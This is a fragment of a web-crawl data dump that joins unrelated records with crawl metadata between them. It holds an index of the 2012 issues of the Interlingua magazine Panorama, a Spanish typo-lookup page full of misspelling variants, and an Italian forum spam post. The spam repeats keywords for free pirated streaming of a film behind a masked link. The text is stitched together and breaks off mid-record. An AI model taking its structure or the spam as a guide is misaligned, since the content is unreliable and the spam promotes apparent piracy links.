heroina||Beq||Nota|\n|11||Islanda approba nove lege lingual||Islandese es ora lingua official de Islanda, e omnes debe supportar su uso de developpamento.||Breinstrup, Thomas||Nova|\n|11||Prime lista del species||Beq||Nota|\n|11||Plus de plus que 100 annos||Th.||Nota|\n|12+13||Ex-secretario general retorna a su posto||Petyo Angelov de Bulgaria retorna como secretario general del Union Mundial pro Interlingua.||Novas de interlingua|\n|13||Nove adresse al UMI||Novas de interlingua|\n|13||Ab Brasil a Bulgaria e Barcelona||Novas de interlingua|\n|14||Le megaphono vivente||80 annos: Bengt Enqvist||Th.||Anniversario|\n|14||Musica es su vita||70 annos: Satoko Berger||Th.||Anniversario|\n|15||Quiz in interlingua||Madsen, W.||Quiz|\n|15||Interlingua practic||Bibliotheca gratuite. Radio Interlingua. Placard in le auto||Th.||Interlingua in practica|\n|16||Multe nationes vince le malaria||Un tertio del paises non plus risca perder humanos al maladia nocive.||Breinstrup, Thomas||Scientia|\n|17||Muses sequeva le vikinges in le mundo||Non solmente le vikinges abordava lor longe naves pro conquirer le mundo. Muses sur Islanda es descendentes directe de lor collegas in Scandinavia.||Breinstrup, Thomas||Scientia|\n|17||Climate occideva neanderthales||Th.||Nota|\n|17||2011 le plus calide||Th.||Nota|\n|17||Critica contra obra de da Vinci||Th.||Nota|\n|18||Rhinocerote rar in grande periculo||Le ultime rhinocerote javanese in Vietnam ha essite occidite.||Th.||Scientia|\n|18||Pesticidas illegal||Beq||Nota|\n|18||Flor del epocha glacial||Beq||Nota|\n|18||Somniferos periculose||Beq||Nota|\n|18||Osteoporose revelate||Beq||Nota|\n|19||Animales salvage dispare pro fusiles||Le grande animales experientia grande problemas de chassatores furtive in Africa.||Breinstrup, Thomas||Scientia|\n|20||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|21||Nove dictionario biologic preste||Th.||Libros|\n|21||Mini-antologia con classicos||Th.||Libros|\n|21||Nove publicationes in interlingua||Libros|\n|21||Extra pro abonatos||Collige le Panoramas original: numero 2||Extra|\n|22+23||Le diario de un adjuta contabile||Traduction in interlingua: Onofrio Notarstefano||Cechov, Anton||Litteratura|\n|23||Le historia re le bottas||E.A.||Litteratura|\n|24||Rege de novellas remane||Th.||Le mundo actual|\n|24||Stonehenge svedese forsan trovate||Th.||Le mundo actual|\n|24||Gnomo plus o minus pesante||Th.||Le mundo actual|\n|24||Attende taliar le cordon umbilical||Beq||Le mundo actual|\n|24||Chineses urban ora in majoritate||Beq||Le mundo actual|\n|25||Gaudio in le automobiles||Th.||Le mundo actual|\n|25||Facebook pro vetules||Beq||Le mundo actual|\n|25||Le vibrissas del phoca||Beq||Le mundo actual|\n|25||Lotteria causava chaos traffical||Th.||Le mundo actual|\n|25||Americanos move al urbes||Th.||Le mundo actual|\n|26||Un computator in le manos||Breinstrup, Thomas||Le parolas del mense|\n|26||Ulle – alcun – qualcunque||Breinstrup, Thomas||Le parolas del mense|\n|26||Joco con le parolas||Breinstrup, Thomas||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Daniel Alberto||Novas de nomines|\n|28||Le Union Norvegian pro Interlingua||Novas de nomines|\n|28||Ole Silau||Novas de nomines|\n|28||Que es interlingua? - Como contribuer||Interlingua|\n\n\nNo. 3\/2012, martio-april\n|1||Duo libros monumental||Un classico litterari tosto a esser filmate per un instructor famose e un ample dictionario specialisate de interlingua habera grande importantia.||Copertura|\n|1||Petyo Angelov ha morite||Le grandissime interlinguista, justo reeligite como secretario general del UMI, decedeva de un infarcto cardiac e habeva solmente 33 annos.||Copertura|\n|1||Un belle estate con interlingua||Panorama presenta audiolibros, e-libros, libros \"normal\" e materiales e cursos pro le vacantias estive.||Copertura|\n|1||Extra||Mini-anthologia historic, Panorama no. 3\/1988 e belle photos pro le schermo.||Copertura|\n|1||Campionato nordic de interlingua comencia||Le 13tie incontro nordic de interlingua devenira un match national. Invia un salute al participantes.||Copertura|\n|1||Exito de mammutes sembla solvite||Ration de morir trovate.||Copertura|\n|1||Disputa de insulas||Copertura|\n|1||Responsas lingual||\"Parolas del mense\" explica questiones de dubita.||Copertura|\n|1||Novella de Hašek||Copertura|\n|2||Un primavera con gaudio e tristessa||Breinstrup, Thomas||Editorial|\n|3||Insulas Falkland decide soveranitate||Le sentimentos in Argentina e Grande Britannia es de novo calefacite super le insulas que in 1982 provocava un guerra. Ora le governamento local desira un referendum final.||Breinstrup, Thomas||Nova|\n|4+5||Interlingua perdeva su nove motor||Le multitalentose Petyo Angelov moriva toto inexpectatemente in le initio de maio per un infarcto cardiac. Le perdita pro interlingua es enorme.||Breinstrup, Thomas||Necrologia|\n|5||Radio rememora Petyo Angelov||Th.||Nota|\n|5||Ancora nulle nove secretario general||Th.||Novas de interlingua|\n|6||Problema cypriota debe finir||Nota|\n|6||Archivo secrete disvelate||Nota|\n|6||Le Encyclopedia cessa sur papiro||Encyclopædia Britannica solmente va esser digital.||Th.||Nova|\n|7||Guardatores fusila rhinocerotes rar||Tanzania suspende 32 personas pro assassinar animales in periculo.||Th.||Nova|\n|7||Grecos debe vender insulas||Th.||Nota|\n|7||\"Le crito\" comprate anonymemente||Th.||Nota|\n|8||Vide Venus!||Th.||Nota|\n|8||Dialectos danese dispare||Th.||Nota|\n|8||Aeroporto de Berlin postponite||Th.||Nota|\n|8||Sherlock Holmes quasi dispareva||Lucta super le ancian casa del autor esseva acclarate in le corte supreme.||Th.||Nova|\n|9||Un belle estate con interlingua in le coffro||Le estate es ci con longe vesperes lucide. Usa le occasion pro avantiar con interlingua. Il ha multe possibilitates – anque multe materiales gratuite – pro le vacantias estive.||Breinstrup, Thomas||Novas de interlingua|\n|9||Bon lectura estive||Libros|\n|10||Grande interview jubilari||Novas de interlingua|\n|10||Brasil se prepara pro interlingua||Novas de interlingua|\n|10||Supervista de blogs de interlingua||Novas de interlingua|\n|10||Dictionario de mathematica||Novas de interlingua|\n|10||Nove sito pro le Almanac||Novas de interlingua|\n|11||Campionato nordic de interlingua 3-2-1||Le grande incontro nordic de interlingua in julio habera visita ab mesmo Japon, ma il es le labor pro facer interlingua plus cognoscite e usate que essera discutite – e qual pais nordic es le optime in le match.||Breinstrup, Thomas||13tie incontro nordic de interlingua|\n|12||Interlingua se presenta in Svedia||Novas de interlingua|\n|12||Corrector orthographic revidite||Novas de interlingua|\n|12||Opera in interlingua actualisate||Novas de interlingua|\n|12||Piet Cleij ha 85 annos||Novas de interlingua|\n|13||Vesperes de Interlingua move al sofas molle||Novas de interlingua|\n|14||Mammutes non dispareva a causa de procreation||Activitate human o factores ambiental occideva le enorme animales, non manco de diversitate genetic.||Breinstrup, Thomas||Scientia|\n|14||Le prime matre trovate||Beq||Nota|\n|15||Romanos retorna in honor||Replicas del era roman de mesme un templo essera construite in Hollanda.||Haar, Ronald ter||Scientia|\n|15||Skeletos de vampires in Bulgaria||Th.||Nota|\n|15||Plus de infantes in le estate||Th.||Nota|\n|15||Ötzi non bibeva lacte||Th.||Nota|\n|16||Autismo e escappamento||Beq||Nota|\n|16||Coriandro effective||Beq||Nota|\n|16||Manco acute de aqua||Beq||Nota|\n|16||Omne duo juvenes ha nulle jentaculo||Troppo poc de juvenes comencia le die, como illes deberea: per mangiar ben.||E.A.||Scientia|\n|17||Einstein disvelate in le rete||Duo milles documentos del scientista famose ora consultabile in linea.||Breinstrup, Thomas||Scientia|\n|17||Cosmeticos es plen de chimia mal||Beq||Scientia|\n|18||Impressionante e professional||Piet Cleij: \"Dictionario de biologia: interlingua-anglese\"||Th.||Libros|\n|19||100 annos e sempre vital e capturante||Hjalmar Söderberg: \"Le joco seriose\"||Th.||Libros|\n|20||Extra pro abonatos||Mini-anthologia con historias historic: volumine 1 | Collige le Panoramas original: numero 3 | Vespere estive nordic pro le schermo||Extra|\n|21||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|22+23||Differentias de classe||Hašek, Jaroslav (1883-1923)||Litteratura|\n|24||Le ultime viage del nave spatial||Th.||Le mundo actual|\n|24||Puera persequite per porco||Th.||Le mundo actual|\n|24||Diamante attractive vendite||Th.||Le mundo actual|\n|24||Chimpanzes divide equalmente||Beq||Le mundo actual|\n|24||Le voce de Bismarck||Beq||Le mundo actual|\n|25||Assassinato con parapluvia||Beq||Le mundo actual|\n|25||Resto de avion in deserto||Th.||Le mundo actual|\n|25||Le sol de Sahara||Beq||Le mundo actual|\n|25||Sucro e cancer ha un connexion||Beq||Le mundo actual|\n|25||Vaccino e narcolepsia connectite||Beq||Le mundo actual|\n|26||Pro cento e non pro centos||Breinstrup, Thomas||Le parolas del mense|\n|26||Facite per o facite de?||Breinstrup, Thomas||Le parolas del mense|\n|26||Pronunciation de parolas estranier||Breinstrup, Thomas||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Martijn Dekker||Novas de nomines|\n|28||Giovanni Sora||Novas de nomines|\n|28||Paolo Castellina||Novas de nomines|\n|28||Que es interlingua? - Como contribuer||Interlingua|\n\n\nNo. 4\/2012, julio-augusto\n|1||Conferentia in 2013 in Freiburg, Germania||Le Union Mundial pro Interlingua invita al 20me Conferentia International de Interlingua in \"le Angulo del Tres Paises\" in julio 2013.||Copertura|\n|1||Nove secretario general del UMI||Un internationalista local e multo experientiate de interlingua, Paolo Castellina de Grande Britannia, ha immediatemente comenciate le labor pro crear enthusiasmo e energia.||Copertura|\n|1||Autumno activissime attende||Post le 13tie incontro nordic de interlingua le paises nordic es in action pro facer interlingua visibile.||Copertura|\n|1||Contos pro infantes||Nove libro con historias cognoscite in interlingua.||Copertura|\n|1||Quiz e labyrintho||Copertura|\n|2||Un autumno activissime attende||Breinstrup, Thomas||Editorial|\n|3+4||Benvenite in 2013 al conferentia de interlingua in Freiburg, Germania||Le 20me conferentia international de interlingua habera loco in un angulo international de Germania con le plus de sol in tote le pais.||Breinstrup, Thomas||Conferentia de interlingua|\n|4+5||Internationalista es le nove secretario general del UMI||Veterano de interlingua e pionero de technologia moderne, Paolo Castellina, es le nove secretario general.||Breinstrup, Thomas||Novas de interlingua|\n|6+7+8+9||Nove secretario general del UMI: Le practica va diffunder interlingua||Il ha un grande potential pro interlingua, e il ha le homines pro realisar lo. Dunque il se tracta de comenciar laborar practicamente \"con omne medios\", dice Paolo Castellina in iste prime interview como secretario general del UMI, qui activemente vole assecurar que \"le flamma de interlingua\" es mantenite vive.||Breinstrup, Thomas||Novas de interlingua|\n|9||Papiros de Gandhi comprate||Th.||Nota|\n|9||Risco de cholera in Africa del West||Th.||Nota|\n|9||Principe mantene su veto||Th.||Nota|\n|10||Photos del 13tie incontro||13tie incontro nordic de interlingua|\n|11+12||Acceleration al autumno active||Information public e plus de materiales debe ora ir mano in mano.||Breinstrup, Thomas||13tie incontro nordic de interlingua|\n|12||200 cantava in interlingua||Th.||13tie incontro nordic de interlingua|\n|12||Grande interview||Th.||13tie incontro nordic de interlingua|\n|12||Grande vendita de libros||Th.||13tie incontro nordic de interlingua|\n|13||Action de \"pecha kucha\"||Th.||13tie incontro nordic de interlingua|\n|13||Cursos continua||Th.||13tie incontro nordic de interlingua|\n|13||Salutes ab tote le mundo||Th.||13tie incontro nordic de interlingua|\n|13||Le argento del mar||Th.||13tie incontro nordic de interlingua|\n|14||Presidente finalmente trovate||Novas de interlingua|\n|14||Corrector coordinate||Novas de interlingua|\n|14||Hallo a nove partes del mundo||Novas de interlingua|\n|15||Dictionario de imagines besoniate||Novas de interlingua|\n|15||Lingua official 50 annos||Novas de interlingua|\n|15||Interlingua pro omnes||Novas de interlingua|\n|15||Visitas in paises estranier||Novas de interlingua|\n|16||Statuas mysteriose ambulava al position||Expertos revela le secretos ab le Insula de Pascha||Breinstrup, Thomas||Scientia|\n|16||Que face obese?||Beq||Scientia|\n|17||Groenlandia cresce e se leva||Enorme perditas annual de glacie face le grande insula levar se con usque tres metros in 100 annos.||Breinstrup, Thomas||Scientia|\n|17||Extra pro abonatos||Mini-anthologia: volumine 2 | Collige le Panoramas original: numero 4||Extra|\n|18||Contos in interlingua pro infantes||Le presidente del UMI, Sven Frank, traduce contos del fratres Grimm e Hans Christian Andersen pro nove libro in interlingua pro infantes.||Th.||Libros|\n|19||Lista grandemente supplementate||Th.||Libros|\n|19||Dictionario nederlandese aggrandite||Th.||Libros|\n|19||Ancora un summario in interlingua||Th.||Libros|\n|19||Nove publicationes in interlingua||Libros|\n|20||Quiz in interlingua||Madsen, W.||Quiz|\n|20||Interlingua practic||Quiz||Interlingua in practica|\n|21||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|22+23||Un mal puero||Cechov, Anton||Litteratura|\n|24||George moriva como le ultime||Th.||Le mundo actual|\n|24||Granmatre cede natation record||Th.||Le mundo actual|\n|24||Libros furate retorna al plancas||Th.||Le mundo actual|\n|24||Feminas saudita in le JO||Th.||Le mundo actual|\n|24||Nihil a declarar – excepte pythones||Beq||Le mundo actual|\n|25||Ancian tresor trovate||Th.||Le mundo actual|\n|25||Le edificio europee le plus grande||Th.||Le mundo actual|\n|25||Tracia de romanos in China||Beq||Le mundo actual|\n|25||Risco de divorcio sur formula||Beq||Le mundo actual|\n|25||Delicto obligatori||Beq||Le mundo actual|\n|26||Omne, tote, cata||Breinstrup, Thomas||Le parolas del mense|\n|26||Le libros del Biblia in interlingua||Breinstrup, Thomas||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Alessandro Mardegan||Novas de nomines|\n|28||Paolo Castellina||Novas de nomines|\n|28||Karl-Olof Andersson||Novas de nomines|\n|28||Emerson José Silveira da Costa||Novas de nomines|\n|28||Que es interlingua? - Como contribuer||Interlingua|\n\n\nNo. 5\/2012, septembre-octobre\n|1||Le UE: \"No a un singule lingua\"||Le Union Europee non reduce le 23 linguas official. Ma isto non exclude le uso de interlingua, dice le secretario general del Union Mundial pro Interlingua.||Copertura|\n|1||Bibliotheca digital cresce||Le gratuite Bibliotheca electronic in interlingua introduce le prime e-libros in formato flexibile e adde un serie de nove titulos. Plus de e-libros expectate.||Copertura|\n|1||Le argento del mar||Le haringos esseva lo que faceva le insula svedese Tjörn ric. Erik Enfors narra le historia fascinante de como le habitantes local aperiva le mina de argento.||Copertura|\n|1||Veni con tu ideas pro le conferentia 2013||Le UMI invita omne interessatos a collaborar super le programma pro le conferentia in Germania.||Copertura|\n|1||Le homines deveni sempre plus vetere||Ante 2050 le +60 annos se duplica.||Copertura|\n|1||Extra: Mini-anthologia||Le ultime del tres volumines litterari al lectores.||Copertura|\n|2||No, isto non es assatis active!||Breinstrup, Thomas||Editorial|\n|3||Invitation: Assiste con le programma||Le UMI invita omne interessatos con visiones a collaborar super le programma pro le conferentia international in 2013.||Breinstrup, Thomas||Conferentia de interlingua|\n|3||Cargas a discuter||Breinstrup, Thomas||Conferentia de interlingua|\n|4+5||Le UE dice \"no\" a un singule lingua||Le Union Europee non va reducer le numero de linguas official ab 23, ma on rejecta al mesme tempore le idea de haber un singule lingua in uso. Ma le UE ha oblidate un puncto importante, dice le secretario general del Union Mundial pro Interlingua.||Breinstrup, Thomas||Nova|\n|5||Linguas in le UE||Nova|\n|6||\"Nove\" Mona Lisa es genuin||Th.||Nota|\n|6||Hiberno precoce in Canada||Th.||Nota|\n|6||Aeroporto plus in retardo||Th.||Nota|\n|6||Enorme partita de ebore illegal trovate||Doaneros stoppa contrabanda.||Th.||Nova|\n|7||Scotia debe votar super independentia||Un referendum in 2014 debe acclarar, si Europa habera un nove pais.||Breinstrup, Thomas||Nova|\n|7||Catalonia vole quitar Espania||Th.||Nota|\n|7||Venetia sub aqua||Th.||Nota|\n|7||Interpretation impossibile||Th.||Nota|\n|8||Lege lingual causa violentia in Ukraina||Tumulto post que russo in haste esseva declarate lingua official in partes de Ukraina||Breinstrup, Thomas||Nova|\n|8||Google vole salvar linguas moriente||Video, audio e textos es colligite||Breinstrup, Thomas||Nova|\n|9||Le homines deveni sempre plus vetere||Ante 2050 le numero de homines de +60 annos es expectate duplicar se||Breinstrup, Thomas||Nova|\n|10+11+12+13||Le argento del mar||Ex un discurso durante le 13e Incontro Nordic in Billströmska Folkhögskolan al insula Tjörn in Svedia||Enfors, Erik||Nova|\n|14||Die de interlingua in universitate||Novas de interlingua|\n|14||Laude a un economo-interlinguista||Novas de interlingua|\n|14||Multe articulos ancian registrate||Novas de interlingua|\n|14||Nove adresse de presidente||Novas de interlingua|\n|14||Films in sito danese||Novas de interlingua|\n|15||50 annos official con interlingua||Novas de interlingua|\n|15||Plus de Cartas nordic pro cursos||Novas de interlingua|\n|15||Dictionario classic de novo presente||Novas de interlingua|\n|15||Poesia in interlingua in video||Novas de interlingua|\n|16||Stonehenge revela su ver enigma||Le origine del grande petras del circulo interior ha essite trovate – ma isto solmente leva nove questiones||Th.||Scientia|\n|16||Chocolate es san||Beq||Scientia|\n|17||Eunuchos habeva vitas multo longe||Castration sembla haber prolongate le vita||E.A.||Scientia|\n|17||Extra pro abonatos||Mini-anthologia: volumine 3 | Panoramas original: no. 5||Extra|\n|18+19||Bibliotheca electronic cresce ben||Le gratuite Bibliotheca electronic in interlingua introduce le prime e-libros in formato flexibile||Th.||Libros|\n|19||Ancora plus grande dictionario||\"Dictionario Interlingua-Nederlandese\"||Th.||Libros|\n|19||Tertie edition del Grammatica||Th.||Libros|\n|19||Anniversario del Almanac||Th.||Libros|\n|19||Nove publicationes in interlingua||Libros|\n|20||Quiz in interlingua||Madsen, W.||Quiz|\n|20||Interlingua practic||Ascolta interlingua | Multe materiales||Th.||Interlingua in practica|\n|21||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|22+23||Ab le \"Dictionario del Diabolo\"||Traduction in interlingua: Onofrio Notarstefano||Bierce, Ambrose||Litteratura|\n|24||Puero trova mammut in stato bon||Th.||Le mundo actual|\n|24||Message de 98 annos in bottilia||Th.||Le mundo actual|\n|24||Minus grande area de lacos||Beq||Le mundo actual|\n|24||Povressa statounitese||Beq||Le mundo actual|\n|24||Batteria pro auto electric||Beq||Le mundo actual|\n|25||Exercitio pagate||Beq||Le mundo actual|\n|25||Experimentos con vino rubie||Beq||Le mundo actual|\n|25||Vespertiliones mori in massas||Beq||Le mundo actual|\n|25||Kanguru albin crea sensation||Th.||Le mundo actual|\n|25||Post le bomba atomic||Beq||Le mundo actual|\n|25||Limite al precio de location||Beq||Le mundo actual|\n|26||Qualcosa dulce, per favor||Breinstrup, Thomas||Le parolas del mense|\n|26||Incognite – incognoscite||Breinstrup, Thomas||Le parolas del mense|\n|26||Querelar de||Breinstrup, Thomas||Le parolas del mense|\n|26||Le libros del Biblia in interlingua||Breinstrup, Thomas||Le parolas del mense|\n|26||Crude – rude||Breinstrup, Thomas||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Alberto Mardegan||Novas de nomines|\n|28||Lars Rosenmeier||Novas de nomines|\n|28||Dan Sterup||Novas de nomines|\n|28||Carlos Soreto||Novas de nomines|\n\n\nNo. 6\/2012, novembre-decembre\n|1||Parlamento sparnia traduction||Le debattos in le Parlamento Europee non plus debe apparer in scripto in omne 23 linguas official. Le costo es troppo grande||Copertura|\n|1||Le eventos in 2013||Panorama da un supervista del eventos major in 2013 – e revela le planos pro avantiar interlingua in multe paises||Copertura|\n|1||Conferentia 2013 con vista verso le futuro||Motto del conferentia de interlingua preste. Inscription electronic iste vice. Designa le logo creative.||Copertura|\n|1||Astronomo famose non intoxicate||- e su naso non esseva de argento||Copertura|\n|1||Nove grammatica||Copertura|\n|1||Extra: Cantario, carta e calendario||Gratuite al lectores||Copertura|\n|1||Novas de interlingua||Copertura|\n|2||2013 – un anno de interlingua (omne 365 dies...)||Breinstrup, Thomas||Editorial|\n|3||Parlamento sparnia traductiones||Le debattos in le Parlamento Europee non plus debe apparer in scripto in omne 23 linguas official.||Breinstrup, Thomas||Nova|\n|3||Linguas in le UE||Th.||Nova|\n|4||Nove nomine a Mexico||Th.||Nota|\n|4||Insula sur mappa non existe||Th.||Nota|\n|4||Nascentia de Jesus false||Th.||Nota|\n|4||Le forestes in Africa del Est dispare||Un decimo del forestes – importante pro combatter cambios climatic – ha disparite.||Breinstrup, Thomas||Nova|\n|5||Victoria dulce-amar in election catalan||Le votatores in Catalonia supportava le partitos nationalista ma puniva le presidente regional, qui voleva independentia de Espania.||Breinstrup, Thomas||Nova|\n|6||Espania perde su population||Th.||Nota|\n|6||Tresor de auro trovate||Th.||Nota|\n|6||Mortalitate infantil reducite||Th.||Nota|\n|6||75 milliones ha problemas de leger||Beq||Nova|\n|6||Exportation de armas augmentate||Beq||Nova|\n|7||Jubileo con vista verso le futuro||Inscription electronic al conferentia.||Breinstrup, Thomas||Conferentia de interlingua|\n|7||Creative? Designa le logo conferential!||Th.||Conferentia de interlingua|\n|8+9||Interlingua – bon anno nove 2013||Toto super 2013||Breinstrup, Thomas||Nova|\n|10||Activitates de interlingua in 2013||Breinstrup, Thomas||Novas de interlingua|\n|11||Extra pro abonatos||Calendario pro 2013 | Carta de Natal – e del Anno Nove | Cantario de Natal con cantos in interlingua | Panorama original: no. 6||Extra|\n|12+13||Interlingua visita universitate brasilian||Presentation de interlingua duce a un curso basic, e le Union Brasilian pro Interlingua planifica le proxime Incontro Brasilian de Interlingua.||Breinstrup, Thomas||Novas de interlingua|\n|13||Radio Interlingua 50 emissiones||Cata mense voces vivente demonstra le ricchessa de interlingua in practica per Radio Interlingua. Le successo es grande||Breinstrup, Thomas||Novas de interlingua|\n|14||Celebra anniversario de interlingua||Le 62nde anniversario de interlingua le 15 de januario 2013 essera celebrate per un revista commemorative special – ma adjuta es demandate.||Th.||Novas de interlingua|\n|14||Nove grammatica in danese||Novas de interlingua|\n|14||Interlingua in radio national||Novas de interlingua|\n|15||Grande articulos super duo motores de interlingua||Duo quotidianos in Svedia publica grande interviews con sempre plus famose interlinguistas.||Th.||Novas de interlingua|\n|16||Astronomo famose non esseva intoxicate||Examination del corpore revela que Tycho Brahe non esseva intoxicate – e non habeva un naso de argento.||Breinstrup, Thomas||Scientia|\n|17||Etiam viros capabile||E.A.||Scientia|\n|17||Cosmeticos clinic||Beq||Scientia|\n|17||Parkinson relevate||Beq||Nota|\n|17||Plus de infantes supervive||Beq||Nota|\n|17||Instrumento vetulissime||Beq||Nota|\n|17||Motion contra depression||Beq||Nota|\n|18||Nove thesauro de interlingua||Thesauro lexic international||Th.||Libros|\n|18||Mini-anthologia va in le Bibliotheca||Th.||Libros|\n|18||Correction||Red.||Libros|\n|18||Nove publicationes in interlingua||Libros|\n|19||Grammatica classic in nove version||Le tertie edition del classico \"Grammatica de Interlingua\" ha apparite.||Libros|\n|20||Quiz in interlingua||Madsen, W.||Quiz|\n|20||Interlingua practic||Traina con amicos per SMS | Salutes de Natal||Th.||Interlingua in practica|\n|21||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|22+23||Plus ab le \"Dictionario del Diabolo\"||Traduction in interlingua: Onofrio Notarstefano||Bierce, Ambrose||Litteratura|\n|24||Hepate artificial debe adjutar||Beq||Le mundo actual|\n|24||8.000 km in autobus||Th.||Le mundo actual|\n|24||Le velocitate minus riscose||Beq||Le mundo actual|\n|24||Bicyclos de bambu||Beq||Le mundo actual|\n|24||Touristas menacia Michelangelo||Th.||Le mundo actual|\n|25||Urbe japonese vende su nomine||Th.||Le mundo actual|\n|25||Combustibile biologic||Beq||Le mundo actual|\n|25||Sin energia atomic||Beq||Le mundo actual|\n|26||Foco in le lampa?||Breinstrup, Thomas||Le parolas del mense|\n|26||Laborar con o sin \"con\"||Breinstrup, Thomas||Le parolas del mense|\n|26||In – a in||Breinstrup, Thomas||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Madeleine Mahé||Novas de nomines|\n|28||Robert Pontnau||Novas de nomines|\n|28||Josu Lavin||Novas de nomines|","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.interlingua.com\/panorama\/indices\/anno_2012","date":"2017-02-25T09:28:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171706.94\/warc\/CC-MAIN-20170219104611-00500-ip-10-171-10-108.ec2.internal.warc.gz","language":"ina","language_score":0.9797370434,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"ina_Latn_score\": 0.9797370433807373}","num_words":5999,"character_repetition_ratio":0.178,"word_repetition_ratio":0.051,"special_characters_ratio":0.258,"stopwords_ratio":0.042,"flagged_words_ratio":0.0,"lang_id_score":0.983,"perplexity_score":5940.7,"cluster_detection":-1} +{"text":"Alcornoqje\n'Alcornoqje' se parece a 'alcornoque', ¿Con alcornoqje querías decir alcornoque?\nAlcornoqje tiene 10 letras\nDefinición de alcornoque aquí\nResultados de búsqueda:\n|Google:||alcornoqje|\n|Yahoo:||alcornoqje|\n|MSN:||alcornoqje|\n|Wikipedia:||alcornoqje|\nResultados de imágenes:\n|Google:||alcornoqje|\n|Yahoo:||alcornoqje|\n|MSN:||alcornoqje|\nYoutube: alcornoqje\nNube de palabras :\n- alcornoque zlcornoque slcornoque wlcornoque qlcornoque akcornoque apcornoque aocornoque alxornoque alvornoque alfornoque aldornoque alcirnoque alckrnoque alclrnoque alcprnoque alc0rnoque alc9rnoque alcoenoque alcodnoque alcofnoque alcotnoque alco5noque alco4noque alcorboque alcormoque alcorjoque alcorhoque alcornique alcornkque alcornlque alcornpque alcorn0que alcorn9que alcorno1ue alcorno2ue alcornowue alcornoaue alcornoqye alcornoqhe alcornoqje alcornoqie alcornoq8e alcornoq7e alcornoquw alcornoqus alcornoqud alcornoqur alcornoqu4 alcornoqu3","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/www.tuspalabras.com\/alcornoqje","date":"2017-03-23T10:32:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218186891.75\/warc\/CC-MAIN-20170322212946-00012-ip-10-233-31-227.ec2.internal.warc.gz","language":"ina","language_score":0.3196445704,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.319644570350647, \"nah_Latn_score\": 0.1522223949432373, \"ast_Latn_score\": 0.06819750368595123, \"spa_Latn_score\": 0.0679149478673935, \"sco_Latn_score\": 0.06657366454601288, \"por_Latn_score\": 0.03304888680577278, \"cot_Latn_score\": 0.029155759140849113, \"glg_Latn_score\": 0.0255670715123415, \"kal_Latn_score\": 0.024612832814455032, \"chd_Latn_score\": 0.019060054793953896, \"zul_Latn_score\": 0.017535997554659843, \"tzj_Latn_score\": 0.013081778772175312}","num_words":313,"character_repetition_ratio":0.15,"word_repetition_ratio":0.079,"special_characters_ratio":0.159,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":0.312,"perplexity_score":11230.3,"cluster_detection":-1} +{"text":"|Ultima risposta|\n|Discussione : Mechanic Resurrection film streaming online|\n|Justin5m||Guardare Film - http:\/\/ **** .ly\/2brfJXD\n\n\nMechanic Resurrection streaming\nMechanic Resurrection streaming ita\nMechanic Resurrection film online gratis\nMechanic Resurrection film gratis\nMechanic Resurrection vedere\nMechanic Resurrection vedere film\nMechanic Resurrection guardare online\nMechanic Resurrection guardare online gratis\nMechanic Resurrection guardare il film per intero\nMechanic Resurrection film streaming gratis\nMechanic Resurrection film online gratis\nMechanic Resurrection film gratis online\nMechanic Resurrection guardare gratis streaming\nMechanic Resurrection scarica film gratis\nMechanic Resurrection film gratis per tutti\nMechanic Resurrection film streaming\nMechanic Resurrection streaming film\nMechanic Resurrection film streaming ita per intero\nMechanic Resurrection streaming film ita\nMechanic Resurrection film online\nMechanic Resurrection film da vedere\nMechanic Resurrection vedere film gratis per intero\nMechanic Resurrection vedi film gratis\nMechanic Resurrection download film\nMechanic Resurrection film stream\nMechanic Resurrection streaming movies per intero\nMechanic Resurrection filme online gratis\nMechanic Resurrection film gratis\nMechanic Resurrection film streaming gratis\nMechanic Resurrection youtube film\nMechanic Resurrection youtube film completo\nMechanic Resurrection scaricare film gratis\nMechanic Resurrection film online gratis\nMechanic Resurrection film gratis online\nMechanic Resurrection film gratis streamingmovie streaming\nMechanic Resurrection film completo\nMechanic Resurrection film on\nMechanic Resurrection top film\nMechanic Resurrection film download\nMechanic Resurrection film streaming online\nMechanic Resurrection streaming film gratis\nMechanic Resurrection film\nMechanic Resurrection cinema\nMechanic Resurrection films free\nMechanic Resurrection youtube films completo\nMechanic Resurrection films al cinema\nMechanic Resurrection trailers films\nMechanic Resurrection trailer films\nMechanic Resurrection films gratuiti\nMechanic Resurrection films italiani\nMechanic Resurrection streaming movies\nMechanic Resurrection films in streaming\nMechanic Resurrection italia films\nMechanic Resurrection films in italiano\nMechanic Resurrection films gratis online\nMechanic Resurrection films gratis streaming\n|Anteprima della discussione|\nForum MesDiscussions.Net, Version 2009.1.2\n(c) 2000-2009 Doctissimo Software\nNewsletter\n- I test preferiti\n- 1 Ti puoi fidare del tuo uomo?\n- 2 Che madre sei?\n- 3 Come stimolare il desiderio?\n- 4 Ti complichi troppo la vita?\n- 5 Scopri la pettinatura giusta per te\n- Le fotogallery più viste\n1\n2\nForum Doctissimo","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/forum.doctissimo.it\/benessere\/Sport\/rispondere-42-1.htm","date":"2017-04-27T12:44:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917122167.63\/warc\/CC-MAIN-20170423031202-00060-ip-10-145-167-34.ec2.internal.warc.gz","language":"ina","language_score":0.5393517017,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.5393517017364502, 